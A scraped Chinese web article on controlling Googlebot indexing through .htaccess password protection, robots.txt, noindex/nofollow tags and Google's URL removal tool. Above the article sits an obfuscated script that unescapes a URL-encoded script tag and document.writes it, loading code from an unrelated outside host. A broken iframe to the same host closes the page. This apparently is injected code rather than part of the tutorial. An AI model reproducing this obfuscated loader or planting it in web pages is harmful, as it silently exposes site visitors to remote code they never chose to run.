控制Googlebot对网站的索引与收录

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

控制Googlebot对网站的索引与收录

　一般说来，在网站建设中，总是希望搜索引擎的机器人能够尽可能地在网站内爬行，收录网站尽可能多的页面，要实现这一点，需要在网页设计与制作时尽可能照顾搜索引擎Spider，避免或减少使用图片、Flash、JavaScript等。但是，对大多数网站而言，往往也存在着部分私密性数据不想公诸于众，比如网站的后台程序部分，比如存放于Internet网站服务器上的企业内部信息页面等，对这部分不希望被搜索引擎收录的内容，应如何控制搜索引擎Spider对其的爬行与索引呢？
　　Matt Cutts近日提供了一个
控制Googlebot索引网页
的说明，尽管他所言只是针对Google，但适用于大多数搜索引擎，简要归纳如下：

在
网站/目录级别
，推荐使用 .htaccess文件来对网站的私密部分加以密码保护，这是最安全的作法，目前各搜索引擎的Spider对密码保护的内容都是无能为力的。同时，.htaccess也可将初级的入侵者拒之门外。不过，.htaccess文件只在Unix/Linux下起作用，国内流行的Windows 平台服务器则无法使用这一功能。

在
网站/目录级别
，也可以使用robots.txt来控制搜索引擎抓取，这也是不支持.htaccess文件的Windows 平台服务器下的的必须选择。不过，与采用.htaccess文件的方式，控制权完全掌握在网站建设者手中相比，robots.txt能否完全控制搜索引擎的Spider取决于搜索引擎是不是严格遵循robots.txt文件的要求，如Baidu的Spider就曾多次被质疑。

在
网页级别
，在html文件中使用meta标签，“noindex”标签将告诉搜索引擎的Spider该页面拒绝收录，“nofollow”标签则告诉搜索引擎的Spider该网页内的所有链接拒绝爬行。同样地，这些标签Googlebot能够很好地辨识并遵循，但有些搜索引擎则未必。

在
链接级别
，可以为某个单独的链接使用“nofollow”标签。

如果
要保护的内容已经被Google收录
，可以使用google的
网址删除系统
。一般说来，这是最后的手段，要慎重地使用，在Google索引中被删除的内容在180天内不会被重新收录。具体可参考Google的
帮助
。
　　当然，要完全杜绝私密内容被搜索引擎、被别人看到，最有效的还是不要将其放在面向公众访问的Internet服务器上。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">